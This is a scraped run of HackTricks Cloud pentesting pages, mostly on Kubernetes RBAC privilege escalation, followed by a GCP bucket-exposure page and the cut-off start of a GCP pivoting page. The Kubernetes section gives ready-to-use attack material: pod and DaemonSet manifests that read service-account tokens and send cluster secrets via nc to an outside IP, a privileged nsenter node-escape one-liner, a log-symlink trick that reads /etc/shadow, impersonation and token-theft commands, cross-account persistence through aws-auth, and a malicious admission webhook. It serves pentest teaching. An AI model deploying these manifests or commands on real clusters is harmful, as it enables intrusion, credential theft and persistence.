Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. Here you can find some potentially dangerous Roles and ClusterRoles configurations. Remember that you can get all the supported resources with `kubectl api-resources` Referring as the art of getting **access to a different principal** within the cluster **with different privileges** (within the kubernetes cluster or to external clouds) than the ones you already have, in Kubernetes there are basically **4 main techniques to escalate privileges**: * Be able to **impersonate** other user/groups/SAs with better privileges within the kubernetes cluster or to external clouds * Be able to **create/patch/exec pods** where you can **find or attach SAs** with better privileges within the kubernetes cluster or to external clouds * Be able to **read secrets** as the SAs tokens are stored as secrets * Be able to **escape to the node** from a container, where you can steal all the secrets of the containers running in the node, the credentials of the node, and the permissions of the node within the cloud it's running in (if any) * A fifth technique that deserves a mention is the ability to **run port-forward** in a pod, as you may be able to access interesting resources within that pod. The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse anynamespace in the cluster yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: api-resource-verbs-all rules: rules: - apiGroups: ["*"] resources: ["*"] verbs: ["*"] In RBAC, certain permissions pose significant risks: 1. **`create`:** Grants the ability to create any cluster resource, risking privilege escalation. 2. **`list`:** Allows listing all resources, potentially leaking sensitive data. 3. **`get`:** Permits accessing secrets from service accounts, posing a security threat. yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: api-resource-verbs-all rules: rules: - apiGroups: ["*"] resources: ["*"] verbs: ["create", "list", "get"] An atacker with the permissions to create a pod, could attach a privileged Service Account into the pod and steal the token to impersonate the Service Account. Effectively escalating privileges to it Example of a pod that will steal the token of the `bootstrap-signer` service account and send it to the attacker: yaml apiVersion: v1 kind: Pod metadata: name: alpine namespace: kube-system spec: containers: - name: alpine image: alpine command: ["/bin/sh"] args: [\ "-c",\ 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',\ ] serviceAccountName: bootstrap-signer automountServiceAccountToken: true hostNetwork: true The following indicates all the privileges a container can have: * **Privileged access** (disabling protections and setting capabilities) * **Disable namespaces hostIPC and hostPid** that can help to escalate privileges * **Disable hostNetwork** namespace, giving access to steal nodes cloud privileges and better access to networks * **Mount hosts / inside the container** super\_privs.yaml apiVersion: v1 kind: Pod metadata: name: ubuntu labels: app: ubuntu spec: # Uncomment and specify a specific node you want to debug # nodeName: containers: - image: ubuntu command: - "sleep" - "3600" # adjust this as needed -- use only as long as you need imagePullPolicy: IfNotPresent name: ubuntu securityContext: allowPrivilegeEscalation: true privileged: true #capabilities: # add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html runAsUser: 0 # run as root (or any other user) volumeMounts: - mountPath: /host name: host-volume restartPolicy: Never # we want to be intentional about running this pod hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_ volumes: - name: host-volume hostPath: path: / Create the pod with: bash kubectl --token $token create -f mount_root.yaml One-liner from [this tweet](https://twitter.com/mauilion/status/1129468485480751104) and with some additions: bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' Now that you can escape to the node check post-exploitation techniques in: You probably want to be **stealthier**, in the following pages you can see what you would be able to access if you create a pod only enabling some of the mentioned privileges in the previous template: * **Privileged + hostPID** * **Privileged only** * **hostPath** * **hostPID** * **hostNetwork** * **hostIPC** _You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) If you can **create** a **pod** (and optionally a **service account**) you might be able to **obtain privileges in cloud environment** by **assigning cloud roles to a pod or a service account** and then accessing it. Moreover, if you can create a **pod with the host network namespace** you can **steal the IAM** role of the **node** instance. For more information check: [Pod Escape Privileges](pod-escape-privileges.html) It's possible to abouse these permissions to **create a new pod** and estalae privileges like in the previous example. The following yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod: yaml apiVersion: apps/v1 kind: DaemonSet metadata: name: alpine namespace: kube-system spec: selector: matchLabels: name: alpine template: metadata: labels: name: alpine spec: serviceAccountName: bootstrap-signer automountServiceAccountToken: true hostNetwork: true containers: - name: alpine image: alpine command: ["/bin/sh"] args: [\ "-c",\ 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',\ ] volumeMounts: - mountPath: /root name: mount-node-root volumes: - name: mount-node-root hostPath: path: / **`pods/exec`** is a resource in kubernetes used for **running commands in a shell inside a pod**. This allows to **run commands inside the containers or get a shell inside**. Therfore, it's possible to **get inside a pod and steal the token of the SA**, or enter a privileged pod, escape to the node, and steal all the tokens of the pods in the node and (ab)use the node: bash kubectl exec -it -n -- sh This permission allows to **forward one local port to one port in the specified pod**. This is meant to be able to debug applications running inside a pod easily, but an attacker might abuse it to get access to interesting (like DBs) or vulnerable applications (webs?) inside a pod: kubectl port-forward pod/mypod 5000:5000 As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) , if you can access or create a pod with the **hosts `/var/log/` directory mounted** on it, you can **escape from the container**. This is basically because the when the **Kube-API tries to get the logs** of a container (using `kubectl logs `), it **requests the `0.log`** file of the pod using the `/logs/` endpoint of the **Kubelet** service. The Kubelet service exposes the `/logs/` endpoint which is just basically **exposing the `/var/log` filesystem of the container**. Therefore, an attacker with **access to write in the /var/log/ folder** of the container could abuse this behaviours in 2 ways: * Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing: bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file * If the attacker controls any principal with the **permissions to read `nodes/log`**, he can just create a **symlink** in `/host-mounted/var/log/sym` to `/` and when **accessing `https://:10250/logs/sym/` he will lists the hosts root** filesystem (changing the symlink can provide access to files). bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin data/ dev/ etc/ home/ init lib [...] **A laboratory and automated exploit can be found in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) #### [](#bypassing-hostpath-readonly-protection) If you are lucky enough and the highly privileged capability capability `CAP_SYS_ADMIN` is available, you can just remount the folder as rw: bash mount -o rw,remount /hostlogs/ #### [](#bypassing-hostpath-readonly-protection) As stated in [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) it’s possible to bypass the protection: yaml allowedHostPaths: - pathPrefix: "/foo" readOnly: true Which was meant to prevent escapes like the previous ones by, instead of using a a hostPath mount, use a PersistentVolume and a PersistentVolumeClaim to mount a hosts folder in the container with writable access: yaml apiVersion: v1 kind: PersistentVolume metadata: name: task-pv-volume-vol labels: type: local spec: storageClassName: manual capacity: storage: 10Gi accessModes: - ReadWriteOnce hostPath: path: "/var/log" --- apiVersion: v1 kind: PersistentVolumeClaim metadata: name: task-pv-claim-vol spec: storageClassName: manual accessModes: - ReadWriteOnce resources: requests: storage: 3Gi --- apiVersion: v1 kind: Pod metadata: name: task-pv-pod spec: volumes: - name: task-pv-storage-vol persistentVolumeClaim: claimName: task-pv-claim-vol containers: - name: task-pv-container image: ubuntu:latest command: ["sh", "-c", "sleep 1h"] volumeMounts: - mountPath: "/hostlogs" name: task-pv-storage-vol With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) privilege, an attacker could impersonate a privileged account. Just use the parameter `--as=` in the `kubectl` command to impersonate a user, or `--as-group=` to impersonate a group: bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters Or use the REST API: bash curl -k -v -XGET -H "Authorization: Bearer " \ -H "Impersonate-Group: system:masters"\ -H "Impersonate-User: null" \ -H "Accept: application/json" \ https://:/api/v1/namespaces/kube-system/secrets/ The permission to **list secrets could allow an attacker to actually read the secrets** accessing the REST API endpoint: bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ There is a special kind of a Kubernetes secret of type **kubernetes.io/service-account-token** which stores serviceaccount tokens. If you have permissions to create and read secrets, and you also know the serviceaccount's name, you can create a secret as follows and then steal the victim serviceaccount's token from it: yaml apiVersion: v1 kind: Secret metadata: name: stolen-admin-sa-token namespace: default annotations: kubernetes.io/service-account.name: cluster-admin-sa type: kubernetes.io/service-account-token Example exploitation: bash $ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) $ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN Warning: the list may be incomplete: webhook authorizer does not support user rule resolution Resources Non-Resource URLs Resource Names Verbs selfsubjectreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] secrets [] [] [get create] [/.well-known/openid-configuration/] [] [get] [/version] [] [get] $ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default" $ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default" $ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN secret/stolen-admin-sa-token created $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json { "apiVersion": "v1", "data": { "ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FUUlRJRklDQVRFLS0tLS0K", "namespace": "ZGVmYXVsdA==", "token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkjYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc=" }, "kind": "Secret", "metadata": { "annotations": { "kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n", "kubernetes.io/service-account.name": "cluster-admin-sa", "kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f" }, "creationTimestamp": "2025-01-11T13:02:27Z", "name": "stolen-admin-sa-token", "namespace": "default", "resourceVersion": "1019116", "uid": "680d119f-89d0-4fc6-8eef-1396600d7556" }, "type": "kubernetes.io/service-account-token" } Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace. While an attacker in possession of a token with read permissions requires the exact name of the secret to use it, unlike the broader _**listing secrets**_ privilege, there are still vulnerabilities. Default service accounts in the system can be enumerated, each associated with a secret. These secrets have a name structure: a static prefix followed by a random five-character alphanumeric token (excluding certain characters) according to the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) . The token is generated from a limited 27-character set (`bcdfghjklmnpqrstvwxz2456789`), rather than the full alphanumeric range. This limitation reduces the total possible combinations to 14,348,907 (27^5). Consequently, an attacker could feasibly execute a brute-force attack to deduce the token in a matter of hours, potentially leading to privilege escalation by accessing sensitive service accounts. If you have the verbs **`create`** in the resource `certificatesigningrequests` ( or at least in `certificatesigningrequests/nodeClient`). You can **create** a new CeSR of a **new node.** According to the [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) , so in that case you **don't need extra permissions**. If not, you would need to be able to approve the request, which means update in `certificatesigningrequests/approval` and `approve` in `signers` with resourceName `/` or `/*` An **example of a role** with all the required permissions is: yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: csr-approver rules: - apiGroups: - certificates.k8s.io resources: - certificatesigningrequests verbs: - get - list - watch - create - apiGroups: - certificates.k8s.io resources: - certificatesigningrequests/approval verbs: - update - apiGroups: - certificates.k8s.io resources: - signers resourceNames: - example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain verbs: - approve So, with the new node CSR approved, you can **abuse** the special permissions of nodes to **steal secrets** and **escalate privileges**. In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) the GKE K8s TLS Bootstrap configuration is configured with **automatic signing** and it's abused to generate credentials of a new K8s Node and then abuse those to escalate privileges by stealing secrets. If you **have the mentioned privileges yo could do the same thing**. Note that the first example bypasses the error preventing a new node to access secrets inside containers because a **node can only access the secrets of containers mounted on it.** The way to bypass this is just to **create a node credentials for the node name where the container with the interesting secrets is mounted** (but just check how to do it in the first post): bash "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1" Principals that can modify **`configmaps`** in the kube-system namespace on EKS (need to be in AWS) clusters can obtain cluster admin privileges by overwriting the **aws-auth** configmap. The verbs needed are **`update`** and **`patch`**, or **`create`** if configmap wasn't created: bash # Check if config map exists get configmap aws-auth -n kube-system -o yaml ## Yaml example apiVersion: v1 kind: ConfigMap metadata: name: aws-auth namespace: kube-system data: mapRoles: | - rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName username: system:node{{EC2PrivateDNSName}} groups: - system:masters # Create donfig map is doesn't exist ## Using kubectl and the previous yaml kubectl apply -f /tmp/aws-auth.yaml ## Using eksctl eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns # Modify it kubectl edit -n kube-system configmap/aws-auth ## You can modify it to even give access to users from other accounts data: mapRoles: | - rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName username: system:node{{EC2PrivateDNSName}} groups: - system:masters mapUsers: | - userarn: arn:aws:iam::098765432123:user/SomeUserTestName username: admin groups: - system:masters warning You can use **`aws-auth`** for **persistence** giving access to users from **other accounts**. However, `aws --profile other_account eks update-kubeconfig --name ` **doesn't work from a different acount**. But actually `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` works if you put the ARN of the cluster instead of just the name. To make `kubectl` work, just make sure to **configure** the **victims kubeconfig** and in the aws exec args add `--profile other_account_role` so kubectl will be using the others account profile to get the token and contact AWS. There are **2 ways to assign K8s permissions to GCP principals**. In any case the principal also needs the permission **`container.clusters.get`** to be able to gather credentials to access the cluster, or you will need to **generate your own kubectl config file** (follow the next link). warning When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**. If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given. Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it. [GCP - Container Privesc](../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.html) The second method is **assigning K8s permissions inside the cluster** to the identifying the user by its **email** (GCP service accounts included). Principals that can **create TokenRequests** (`serviceaccounts/token`) When talking to the K8s api endpoint SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego) ). Principals that can **`update`** or **`patch`** **`pods/ephemeralcontainers`** can gain **code execution on other pods**, and potentially **break out** to their node by adding an ephemeral container with a privileged securityContext Principals with any of the verbs `create`, `update` or `patch` over `validatingwebhookconfigurations` or `mutatingwebhookconfigurations` might be able to **create one of such webhookconfigurations** in order to be able to **escalate privileges**. For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller) . As you can read in the next section: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention) , a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the **verb `escalate`** over **`roles`** or **`clusterroles`.** Then he can update/create new roles, clusterroles with better permissions than the ones he has. Principals with access to the **`nodes/proxy`** subresource can **execute code on pods** via the Kubelet API (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego) ). More information about Kubelet authentication in this page: [Kubelet Authentication & Authorization](../pentesting-kubernetes-services/kubelet-authentication-and-authorization.html) You have an example of how to get [**RCE talking authorized to a Kubelet API here**](../pentesting-kubernetes-services/index.html#kubelet-rce) . Principals that can **delete pods** (`delete` verb over `pods` resource), or **evict pods** (`create` verb over `pods/eviction` resource), or **change pod status** (access to `pods/status`) and can **make other nodes unschedulable** (access to `nodes/status`) or **delete nodes** (`delete` verb over `nodes` resource) and has control over a pod, could **steal pods from other nodes** so they are **executed** in the **compromised** **node** and the attacker can **steal the tokens** from those pods. bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' } while true; do patch_node_capacity ; done & #Launch previous line with all the nodes you need to attack kubectl delete pods -n kube-system Principals that can **modify** **`services/status`** may set the `status.loadBalancer.ingress.ip` field to exploit the **unfixed CVE-2020-8554** and launch **MiTM attacks against the clus**ter. Most mitigations for CVE-2020-8554 only prevent ExternalIP services (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego) ). Principals with **`update`** or **`patch`** permissions over `nodes/status` or `pods/status`, could modify labels to affect scheduling constraints enforced. Kubernetes has a [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) to prevent privilege escalation. This system ensures that **users cannot elevate their privileges by modifying roles or role bindings**. The enforcement of this rule occurs at the API level, providing a safeguard even when the RBAC authorizer is inactive. The rule stipulates that a **user can only create or update a role if they possess all the permissions the role comprises**. Moreover, the scope of the user's existing permissions must align with that of the role they are attempting to create or modify: either cluster-wide for ClusterRoles or confined to the same namespace (or cluster-wide) for Roles. warning There is an exception to the previous rule. If a principal has the **verb `escalate`** over **`roles`** or **`clusterroles`** he can increase the privileges of roles and clusterroles even without having the permissions himself. caution **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.** The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.** By default there isn't any encryption in the communication between pods .Mutual authentication, two-way, pod to pod. #### [](#create-a-sidecar-proxy-app) Create your .yaml bash kubectl run app --image=bash --command -oyaml --dry-run=client > -- sh -c 'ping google.com' Edit your .yaml and add the uncomment lines: yaml #apiVersion: v1 #kind: Pod #metadata: # name: security-context-demo #spec: # securityContext: # runAsUser: 1000 # runAsGroup: 3000 # fsGroup: 2000 # volumes: # - name: sec-ctx-vol # emptyDir: {} # containers: # - name: sec-ctx-demo # image: busybox command: [\ "sh",\ "-c",\ "apt update && apt install iptables -y && iptables -L && sleep 1h",\ ] securityContext: capabilities: add: ["NET_ADMIN"] # volumeMounts: # - name: sec-ctx-vol # mountPath: /data/demo # securityContext: # allowPrivilegeEscalation: true See the logs of the proxy: bash kubectl logs app -C proxy More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) An admission controller **intercepts requests to the Kubernetes API server** before the persistence of the object, but **after the request is authenticated** **and authorized**. If an attacker somehow manages to **inject a Mutationg Admission Controller**, he will be able to **modify already authenticated requests**. Being able to potentially privesc, and more usually persist in the cluster. **Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) : bash git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo cd malicious-admission-controller-webhook-demo ./deploy.sh kubectl get po -n webhook-demo -w Check the status to see if it's ready: bash kubectl get mutatingwebhookconfigurations kubectl get deploy,svc -n webhook-demo ![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp) Then deploy a new pod: bash kubectl run nginx --image nginx kubectl get po -w When you can see `ErrImagePull` error, check the image name with either of the queries: bash kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}' kubectl describe po nginx | grep "Image: " ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp) As you can see in the above image, we tried running image `nginx` but the final executed image is `rewanthtammana/malicious-image`. What just happened!!? #### [](#heading-technicalities) The `./deploy.sh` script establishes a mutating webhook admission controller, which modifies requests to the Kubernetes API as specified in its configuration lines, influencing the outcomes observed: patches = append(patches, patchOperation{ Op: "replace", Path: "/spec/containers/0/image", Value: "rewanthtammana/malicious-image", }) The above snippet replaces the first container image in every pod with `rewanthtammana/malicious-image`. [Kubernetes OPA Gatekeeper bypass](../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.html) * **Pods and Service Accounts**: By default, pods mount a service account token. To enhance security, Kubernetes allows the disabling of this automount feature. * **How to Apply**: Set `automountServiceAccountToken: false` in the configuration of service accounts or pods starting from Kubernetes version 1.6. * **Selective Inclusion**: Ensure that only necessary users are included in RoleBindings or ClusterRoleBindings. Regularly audit and remove irrelevant users to maintain tight security. * **Roles vs. ClusterRoles**: Prefer using Roles and RoleBindings for namespace-specific permissions rather than ClusterRoles and ClusterRoleBindings, which apply cluster-wide. This approach offers finer control and limits the scope of permissions. [GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions](https://github.com/cyberark/KubiScan) [GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters](https://github.com/aquasecurity/kube-hunter) [GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark](https://github.com/aquasecurity/kube-bench) * [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions) * [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1) * [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - Storage Post Exploitation - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more information about CLoud Storage check this page: [GCP - Storage Enum](../gcp-services/gcp-storage-enum.html) It's possible to give external users (logged in GCP or not) access to buckets content. However, by default bucket will have disabled the option to expose publicly a bucket: bash # Disable public prevention gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention # Make all objects in a bucket public gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers --role=roles/storage.objectViewer ## I don't think you can make specific objects public just with IAM # Make a bucket or object public (via ACL) gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER If you try to give **ACLs to a bucket with disabled ACLs** you will find this error: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access` To access open buckets via browser, access the URL `https://.storage.googleapis.com/` or `https://.storage.googleapis.com/` tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - local privilege escalation ssh pivoting - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 4 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. in this scenario we are going to suppose that you **have compromised a non privilege account** inside a VM in a Compute Engine project. Amazingly, GPC permissions of the 